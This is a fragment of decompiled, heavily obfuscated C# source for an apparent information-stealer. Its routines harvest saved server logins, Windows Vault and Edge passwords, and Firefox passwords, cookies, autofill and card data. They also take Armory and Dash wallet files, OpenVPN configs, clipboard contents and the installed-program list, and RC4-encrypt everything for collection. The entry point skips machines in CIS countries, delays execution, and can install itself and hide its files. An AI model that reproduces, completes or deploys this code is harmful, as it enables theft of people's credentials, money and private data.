class_2 = Class_82.field_0.gmethod_1563(nclass_.field_4, class_);
}
if (class_3 == null)
{
class_3 = Class_82.field_0.gmethod_1563(nclass_.field_5, class_);
}
if (str_1 == "g")
{
Class_82.field_0.xmethod_1571(str_0, class_2, null);
}
else if (str_1 == "s")
{
Class_82.field_0.xmethod_1571(str_0, class_3, null);
}
}
Class_233 class_4 = Class_82.field_0.xmethod_1561(arg_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_7));
if (class_4 == null)
{
class_4 = Class_82.field_0.gmethod_1563(nclass_.field_6, arg_);
}
Class_233 class_5 = Class_82.field_0.xmethod_1561(class_4).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_8));
if (class_5 == null)
{
class_5 = Class_82.field_0.gmethod_1563(nclass_.field_7, class_4);
}
if (str_1 == "k")
{
Class_82.field_0.xmethod_1571(str_0, class_5, null);
}
}
// Token: 0x06000048 RID: 72 RVA: 0x00003E1C File Offset: 0x0000201C
public static void cmethod_34(string str_0, string str_1, string str_2 = "RecentServers", string str_3 = "Server")
{
try
{
if (File.Exists(str_0))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(str_0);
foreach (object obj in ((XmlElement)xmlDocument.GetElementsByTagName(str_2)[0]).GetElementsByTagName(str_3))
{
XmlElement xmlElement = (XmlElement)obj;
string innerText = xmlElement.GetElementsByTagName("Host")[0].InnerText;
string innerText2 = xmlElement.GetElementsByTagName("Port")[0].InnerText;
string innerText3 = xmlElement.GetElementsByTagName("User")[0].InnerText;
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(xmlElement.GetElementsByTagName("Pass")[0].InnerText));
if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3) || string.IsNullOrEmpty(@string))
{
break;
}
Class_13.field_1.AppendLine("Host: " + innerText);
Class_13.field_1.AppendLine("Port: " + innerText2);
Class_13.field_1.AppendLine("User: "******"Pass: "******"\r\n");
Class_13.field_0++;
}
if (Class_13.field_1.Length > 0)
{
try
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_1, Class_47.RC4(Encoding.UTF8.GetBytes(Class_13.field_1.ToString())));
Class_13.field_1 = null;
}
catch
{
}
}
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x060001C4 RID: 452 RVA: 0x0000F350 File Offset: 0x0000D550
public static void cmethod_234(string str_0)
{
try
{
if (Directory.Exists(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Armory\\"))
{
foreach (string path in Directory.GetFiles(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Armory\\"))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Wallets\\Armory\\" + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
Class_73.field_0++;
Class_54.field_0++;
}
}
catch
{
}
}
// Token: 0x06000216 RID: 534 RVA: 0x00011718 File Offset: 0x0000F918
public static void dmethod_256(string str_0)
{
try
{
string path = Class_47.\u036C\u0329\u032F\u0020\u032F\u0312\u0020i\u036B\u034B\u0358\u033C\u0369\u035E\u035F\u035Adkcrbdpkfpkxmxzn\u0304l\u031D\u0339\u0331\u0366\u0346\u0344\u0348\u0317\u0332\u032E\u0363h\u0020\u0354latwzfwxbtsjdydt + "\\OpenVPN\\config\\conf\\";
if (Directory.Exists(path))
{
foreach (string path2 in Directory.GetFiles(path))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\VPN\\OpenVPN\\config\\conf\\" + Path.GetFileName(path2), Class_47.RC4(File.ReadAllBytes(path2)));
}
Class_91.field_0++;
}
}
catch
{
}
}
// Token: 0x0600004C RID: 76 RVA: 0x00004230 File Offset: 0x00002430
public static void dmethod_36(string str_0)
{
string text = "";
try
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
string[] subKeyNames = registryKey.GetSubKeyNames();
for (int i = 0; i < subKeyNames.Length; i++)
{
string text2 = registryKey.OpenSubKey(subKeyNames[i]).GetValue("DisplayName") as string;
if (text2 != null)
{
text = text + text2 + Environment.NewLine;
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Programs.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
catch
{
}
}
// Token: 0x06000003 RID: 3 RVA: 0x0000205C File Offset: 0x0000025C
public static void xmethod_1(string str_0)
{
try
{
Encoding utf = Encoding.UTF8;
List <string> list = Class_84.\u030D\u0330\u033C\u0020\u031F\u031D\u0330\u031C\u030D\u0367\u034D\u034E\u0020\u0313\u0369\u0301gwiwfcicjnpkfscg\u035E\u0303\u0347\u0489\u0326\u033B\u033C\u0309\u0357\u0353\u0315\u032B\u030C\u0020\u0020\u036Fhgqzyevbtayubfox.Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_2)).Where(new Func <string, bool>(Class_2.NClass_0.field_0.nmethod_3)).Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_4)).ToList <string>();
List <string> list2 = new List <string>();
list2.Add(Class_49.field_0);
HashSet <string> hashSet = new HashSet <string>();
foreach (string text in list2)
{
foreach (string item in text.Split(Array.Empty <char>()).Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_5)).Where(new Func <string, bool>(Class_2.NClass_0.field_0.nmethod_6)).Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_7)).ToList <string>())
{
if (!hashSet.Contains(item))
{
hashSet.Add(item);
}
}
}
string text2 = "";
foreach (string text3 in list)
{
using (HashSet <string> .Enumerator enumerator3 = hashSet.GetEnumerator())
{
while (enumerator3.MoveNext())
{
if (enumerator3.Current.Contains(text3) && !text2.Contains(text3))
{
text2 = text2 + text3 + Environment.NewLine;
}
}
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\DomainDetect.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text2)));
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf = text2;
text2 = "";
}
catch
{
}
}
// Token: 0x06000063 RID: 99 RVA: 0x00004AE0 File Offset: 0x00002CE0
public static void GetClipboard(string Av_Dir)
{
try
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Av_Dir + "\\Clipboard.txt", Class_47.RC4(Encoding.UTF8.GetBytes(string.Concat(new string[]
{
"[",
Class_47.\u033B\u033C\u0355\u0314\u0330\u0316\u0326\u0327\u0349\u035Ei\u036B\u031D\u0363\u0322\u0367hzhsdavyvmobkojd\u0020\u0309\u033F\u0362\u0020\u0347\u036B\u0366\u0347\u036B\u0356\u0349\u0347\u035C\u0306\u032Djkgcmitutxmwdtwk,
"]\r\n\r\n",
Class_23.GetText(),
"\r\n\r\n"
}))));
Class_22.xmethod_51();
}
catch
{
}
}
// Token: 0x060002EF RID: 751 RVA: 0x00015BD4 File Offset: 0x00013DD4
public static void tmethod_412(string str_0)
{
try
{
Version version = Environment.OSVersion.Version;
int major = version.Major;
int minor = version.Minor;
int num = 0;
IntPtr zero = IntPtr.Zero;
int num2 = Class_105.lmethod_378(0, ref num, ref zero);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vaults. Error (0x" + num2.ToString() + ")", Array.Empty <object>()) + Environment.NewLine;
}
IntPtr ptr = zero;
Dictionary <Guid, string> dictionary = new Dictionary <Guid, string>
{
{
new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"),
"Windows Secure Note"
},
{
new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"),
"Windows Web Password Credential"
},
{
new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"),
"Windows Credential Picker Protector"
},
{
new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"),
"Web Credentials"
},
{
new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"),
"Windows Credentials"
},
{
new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"),
"Windows Domain Certificate Credential"
},
{
new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"),
"Windows Domain Password Credential"
},
{
new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"),
"Windows Extended Credential"
},
{
new Guid("00000000-0000-0000-0000-000000000000"),
null
}
};
for (int i = 0; i < num; i++)
{
object obj = Marshal.PtrToStructure(ptr, typeof(Guid));
Guid key = new Guid(obj.ToString());
ptr = (IntPtr)(ptr.ToInt64() + (long)Marshal.SizeOf(typeof(Guid)));
IntPtr zero2 = IntPtr.Zero;
string str = dictionary.ContainsKey(key) ? dictionary[key] : key.ToString();
num2 = Class_105.vmethod_375(ref key, 0U, ref zero2);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Unable to open the following vault: " + str + ". Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
int num3 = 0;
IntPtr zero3 = IntPtr.Zero;
num2 = Class_105.pmethod_379(zero2, 512, ref num3, ref zero3);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vault items from the following vault: " + str + ". Error 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
IntPtr ptr2 = zero3;
if (num3 > 0)
{
for (int j = 1; j <= num3; j++)
{
Type type = (major >= 6 && minor >= 2) ? typeof(Class_105.NClass_2) : typeof(Class_105.NClass_3);
object obj2 = Marshal.PtrToStructure(ptr2, type);
ptr2 = (IntPtr)(ptr2.ToInt64() + (long)Marshal.SizeOf(type));
IntPtr zero4 = IntPtr.Zero;
FieldInfo field = obj2.GetType().GetField("SchemaId");
Guid guid = new Guid(field.GetValue(obj2).ToString());
IntPtr intPtr = (IntPtr)obj2.GetType().GetField("pResourceElement").GetValue(obj2);
IntPtr intPtr2 = (IntPtr)obj2.GetType().GetField("pIdentityElement").GetValue(obj2);
ulong num4 = (ulong)obj2.GetType().GetField("LastModified").GetValue(obj2);
IntPtr intPtr3 = IntPtr.Zero;
if (major < 6 || minor < 2)
{
num2 = Class_105.xmethod_381(zero2, ref guid, intPtr, intPtr2, IntPtr.Zero, 0, ref zero4);
}
else
{
intPtr3 = (IntPtr)obj2.GetType().GetField("pPackageSid").GetValue(obj2);
num2 = Class_105.smethod_380(zero2, ref guid, intPtr, intPtr2, intPtr3, IntPtr.Zero, 0, ref zero4);
}
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Error occured while retrieving vault item. Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
object obj3 = Marshal.PtrToStructure(zero4, type);
object obj4 = Class_113.gmethod_413((IntPtr)obj3.GetType().GetField("pAuthenticatorElement").GetValue(obj3));
object obj5 = null;
if (intPtr3 != IntPtr.Zero)
{
obj5 = Class_113.gmethod_413(intPtr3);
}
if (obj4 != null)
{
object obj6 = Class_113.gmethod_413(intPtr);
if (obj6 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Url: {0}", obj6) + Environment.NewLine;
}
object obj7 = Class_113.gmethod_413(intPtr2);
if (obj7 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Username: {0}", obj7) + Environment.NewLine;
}
if (obj5 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("PacakgeSid: {0}", obj5) + Environment.NewLine;
}
Class_113.field_1 = Class_113.field_1 + string.Format("Password: {0}\n\n", obj4) + Environment.NewLine;
Class_113.field_0++;
}
}
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords_Edge.txt", Class_47.RC4(Encoding.UTF8.GetBytes(Class_113.field_1)));
Class_113.field_1 = "";
}
catch
{
}
}
// Token: 0x06000125 RID: 293 RVA: 0x0000BC34 File Offset: 0x00009E34
public static void GetGecko()
{
List <Class_65> list = null;
try
{
list = Class_78.ParseBrowsers();
}
catch (Exception value)
{
Console.WriteLine(value);
}
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
if (list != null)
{
foreach (Class_65 class_ in list)
{
foreach (Class_68 class_2 in class_.prop_2)
{
text = text + "URI: " + class_2.prop_0 + Environment.NewLine;
text = text + "Username: "******"Password: "******"Browser: " + class_.prop_0 + Environment.NewLine;
text = text + "Profile: " + class_.prop_1 + Environment.NewLine;
text = text + "===============================" + Environment.NewLine;
}
foreach (Class_64 class_3 in class_.prop_3)
{
text2 = text2 + "Name: " + class_3.prop_0 + Environment.NewLine;
text2 = text2 + "Value: " + class_3.prop_1 + Environment.NewLine;
text2 = text2 + "===============================" + Environment.NewLine;
}
foreach (Class_67 class_4 in class_.prop_4)
{
text3 = text3 + class_4.prop_3 + Environment.NewLine;
text3 = text3 + class_4.prop_0 + Environment.NewLine;
text3 = string.Concat(new string[]
{
text3,
class_4.prop_1.ToString(),
"/",
class_4.prop_2.ToString(),
Environment.NewLine
});
text3 = text3 + "===============================" + Environment.NewLine;
}
foreach (Class_66 class_5 in class_.prop_5)
{
text4 += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", new object[]
{
class_5.prop_0,
class_5.prop_2,
class_5.prop_3,
class_5.prop_4,
class_5.prop_5,
class_5.prop_6
});
}
}
}
if (list != null)
{
list.Clear();
}
if (text != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
if (text2 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp + "\\Autofills Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text2)));
}
if (text3 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv + "\\Cards Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text3)));
}
if (text4 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk + "\\Cookies Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text4)));
}
text = null;
text2 = null;
text3 = null;
text4 = null;
}
// Token: 0x06000067 RID: 103 RVA: 0x00004C2C File Offset: 0x00002E2C
public static void vmethod_45(string str_0)
{
try
{
if (Directory.Exists(Class_18.field_1))
{
foreach (string path in Directory.GetFiles(Class_18.field_1))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_18.field_2 + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
Class_18.field_0++;
Class_54.field_0++;
}
}
catch
{
}
}
// Token: 0x06000221 RID: 545 RVA: 0x00011E00 File Offset: 0x00010000
public static void gmethod_263(string str_0)
{
try
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Dash").OpenSubKey("Dash-Qt"))
{
try
{
Dictionary <string, byte[]> u0347_u0020_u0328_u0020_u0369_u0E47h_u0364_u0358_u036D_u036B_u0324_u0322_u0E47_u031F_u0369qhgddlayjusqyuib_u0353c_u0347_u036Dr_u0020_u0E47_u0356_u0356_u0332_u036D_u0347_u0325_u030E_u0E47_u0356gugwsaxccacjclln = Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln;
string key = str_0 + "\\DashCore\\wallet.dat";
object value = registryKey.GetValue("strDataDir");
u0347_u0020_u0328_u0020_u0369_u0E47h_u0364_u0358_u036D_u036B_u0324_u0322_u0E47_u031F_u0369qhgddlayjusqyuib_u0353c_u0347_u036Dr_u0020_u0E47_u0356_u0356_u0332_u036D_u0347_u0325_u030E_u0E47_u0356gugwsaxccacjclln.Add(key, Class_47.RC4(File.ReadAllBytes(((value != null) ? value.ToString() : null) + "\\wallet.dat")));
Class_94.field_0++;
Class_54.field_0++;
}
catch
{
}
}
}
catch
{
}
}
private static void Main()
{
if (!Class_84.\u032F\u0E47\u036F\u0343\u033C\u0305\u0309\u0355\u0353\u0362\u0315\u0331\u0020\u034E\u035E\u0347mxtxdsjuhndvlqiy\u0313\u0347\u0E47\u031A\u031D\u0343\u030B\u032F\u0E47\u0356\u0E47\u0340\u0303\u0020\u0348\u0349hgqeoiqsmultzltm)
{
string[] array = new string[]
{
"[Armenia]",
"[Azerbaijan]",
"[Belarus]",
"[Kazakhstan]",
"[Kyrgyzstan]",
"[Moldova]",
"[Russia]",
"[Tajikistan]",
"[Uzbekistan]",
"[Ukraine]"
};
for (int i = 0; i < array.Count <string>(); i++)
{
if (array[i] == Class_47.Country())
{
Environment.Exit(0);
}
}
}
Thread.Sleep(Class_84.\u0331\u0364\u0347t\u0325a\u0329\u0358\u0340\u0304a\u0327\u0342\u0350\u0342\u0347vbsoryqufuelhrug\u0364\u030C\u0347\u0315\u0316\u035C\u034Fr\u0020\u034E\u035A\u035A\u031A\u035E\u0E47\u0324xqsmhtcpkisrgygk * 1000);
if (Class_84.\u0340\u033A\u0362\u034D\u0322\u0348\u0322\u0020\u032A\u0356\u0335\u0320\u0E47\u035F\u0365\u0E47urcffapyhllejvvh\u0326\u033C\u0320\u0363\u0355\u034E\u0353\u036B\u033C\u0317\u0325\u0367\u030E\u0340\u0331\u0346ofmlsoyrefvyzfoq)
{
Class_46.pmethod_129();
}
if (Class_84.\u035F\u0324\u0358\u0309\u035C\u0311\u036A\u036D\u0E47\u0339\u0303\u0313\u0347\u0020\u030C\u030Coyuihudjpxwkdgkx\u0359\u036B\u0332\u035D\u0335\u033C\u0366\u0E47\u0346\u0020\u0489\u0345\u0346\u0306\u0316\u033Arjnqspomwohgklvm)
{
Class_46.smethod_130();
}
if (Class_84.\u0348\u0E47\u0340\u0020\u0320\u0308\u0349\u0332\u035A\u0315\u0345\u036B\u036F\u0020\u0350\u035Adisjjlklfefcyfvc\u0369\u0363\u033A\u0303\u034E\u0359\u030E\u0320\u0020\u0317\u0347\u0E47\u033D\u0E47\u0350\u031Fjjibrkqcbodxmgdg)
{
Class_24.NClass_0 nclass_ = new Class_24.NClass_0();
if (Class_92.pmethod_259())
{
Class_92.smethod_260();
}
Class_24.NClass_0 nclass_2 = nclass_;
Task[] array2 = new Task[1];
array2[0] = new Task(new Action(Class_24.NClass_1.field_3.nmethod_4));
nclass_2.field_2 = array2;
new Thread(new ThreadStart(nclass_.nmethod_1)).Start();
Class_51.pmethod_149();
}
try
{
Class_47.Unblock(Class_75.\u0020\u0339\u0E47\u0020\u0331\u0306\u0363\u0301\u0313\u0342\u0E47\u036F\u0356\u0351\u0324\u0367ftjstwztujtxtvaj\u0316\u034B\u0339\u0356\u0E47\u035A\u0367\u0306\u0348\u0020\u0020\u0331\u031A\u0316\u035C\u032Eopsmlarbetcxggfj);
}
catch
{
}
Class_82.tmethod_242();
if (!Class_84.\u0355\u0349\u0337\u033D\u0308\u0E47\u0308\u032C\u0E47\u0331\u034E\u032C\u0310\u0320s\u0355fdigcqesbhiigaee\u0344\u0360\u0020\u034D\u0359\u033C\u0E47\u0020\u035C\u036B\u033F\u0368\u034E\u033A\u0347\u0350gahbtcsvsbuaqvje && File.Exists(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\oof" + Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz))
{
Class_24.field_0 = true;
}
if (!Class_24.field_0 && Class_84.\u0020\u0331\u0341\u0347\u0304\u0327\u0334\u032C\u0317\u035D\u030E\u0351\u0331\u0304\u0020\u0360mtmtdbpzapbbmygp\u0020\u0020\u0020\u0315\u0344\u032F\u0341\u0311\u0340\u0366\u0020\u0302t\u033C\u035B\u034Etfyuggdqskiihiqe)
{
Class_95.cmethod_264();
}
if (!Class_24.field_0)
{
Class_53.GetCollection();
Class_81.xmethod_241();
if (Class_84.\u0E47\u0303\u034E\u0020\u033C\u031D\u0332\u0332\u035D\u0353\u0E47\u0349\u032E\u0342\u030F\u0489wphcwpkgyxbvyrtx\u033D\u030C\u0303\u0320\u033A\u033B\u033F\u036D\u0340\u0339\u0330\u030Dn\u030B\u0343\u0317llcbspktsvxvqtwp)
{
Class_75.install();
}
if (Class_84.\u0312\u0363\u030D\u0349\u034F\u0345\u0E47\u032E\u0369\u0329\u0355\u0308\u0320\u035A\u0329\u0349ngvvukjkozgellfb\u035F\u036D\u0347\u032C\u0339\u0317\u0E47\u0020\u0355\u035A\u0306\u0317\u036B\u032D\u0347\u035Cntqccjcdelkcuofr)
{
Class_87.tmethod_252(Class_84.\u0342\u0352\u0341\u0020\u0E47\u0340\u0322\u0344\u0355\u032F\u035A\u0342\u0363\u0338\u0301\u0367kbraamkkqtqhtdau\u0363\u0314\u0369\u0333\u0360\u0329\u0020\u033B\u032F\u035C\u0300\u034B\u0317\u030D\u0363\u0308jovqfkfgmkngtiba);
}
if (Class_84.\u033F\u0301\u031C\u035A\u0328\u032E\u0367\u0324\u0355\u0E47\u0339\u0344\u0309\u033F\u0312ibnzxidndaraumiqy\u0330\u031F\u0368\u035B\u035C\u032F\u0315\u030B\u0339\u036B\u031A\u034D\u0320\u0322\u0341\u0315ctgxkanezkhzevwg)
{
Class_8.xmethod_11();
return;
}
}
else if (Class_84.\u0E47\u0303\u034E\u0020\u033C\u031D\u0332\u0332\u035D\u0353\u0E47\u0349\u032E\u0342\u030F\u0489wphcwpkgyxbvyrtx\u033D\u030C\u0303\u0320\u033A\u033B\u033F\u036D\u0340\u0339\u0330\u030Dn\u030B\u0343\u0317llcbspktsvxvqtwp)
{
if (Class_84.\u0330\u031D\u035A\u0320\u036F\u0353\u0E47\u0489\u0343\u0020\u0360\u0020\u0349\u0E47\u0356\u0304bphbaeparcjvxixg\u035D\u0E47\u0347\u032C\u0331\u0331\u033F\u036D\u0358\u0318\u0020\u0301\u0356l\u034E\u036Behaqkzdjsqiftupt)
{
Class_12.set_hidden();
}
if (Class_84.\u0368\u030F\u0345\u0350\u033At\u0339\u035B\u0020h\u0315\u0363\u0307\u0E47\u0347\u035Cyxeovnvyxbscxmtz\u035A\u032F\u0340\u034D\u0369\u0335\u034B\u0340\u036B\u0331\u0367\u0354\u0300\u0360\u033B\u0364lqhfdqogemlgdoty)
{
Class_12.set_system();
}
if (Class_84.\u033F\u0301\u031C\u035A\u0328\u032E\u0367\u0324\u0355\u0E47\u0339\u0344\u0309\u033F\u0312ibnzxidndaraumiqy\u0330\u031F\u0368\u035B\u035C\u032F\u0315\u030B\u0339\u036B\u031A\u034D\u0320\u0322\u0341\u0315ctgxkanezkhzevwg)
{
Class_8.xmethod_11();
}
}
}
// Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
public static void GetCollection()
{
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
Task[] array = new Task[1];
array[0] = new Task(delegate()
{
Class_57.a();
});
CS$ < > 8__locals2.t0 = array;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
Task[] array2 = new Task[1];
array2[0] = new Task(delegate()
{
Class_53.GetChromium();
});
CS$ < > 8__locals3.t1 = array2;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
Task[] array3 = new Task[1];
array3[0] = new Task(delegate()
{
Class_53.GetGecko();
});
CS$ < > 8__locals4.t2 = array3;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
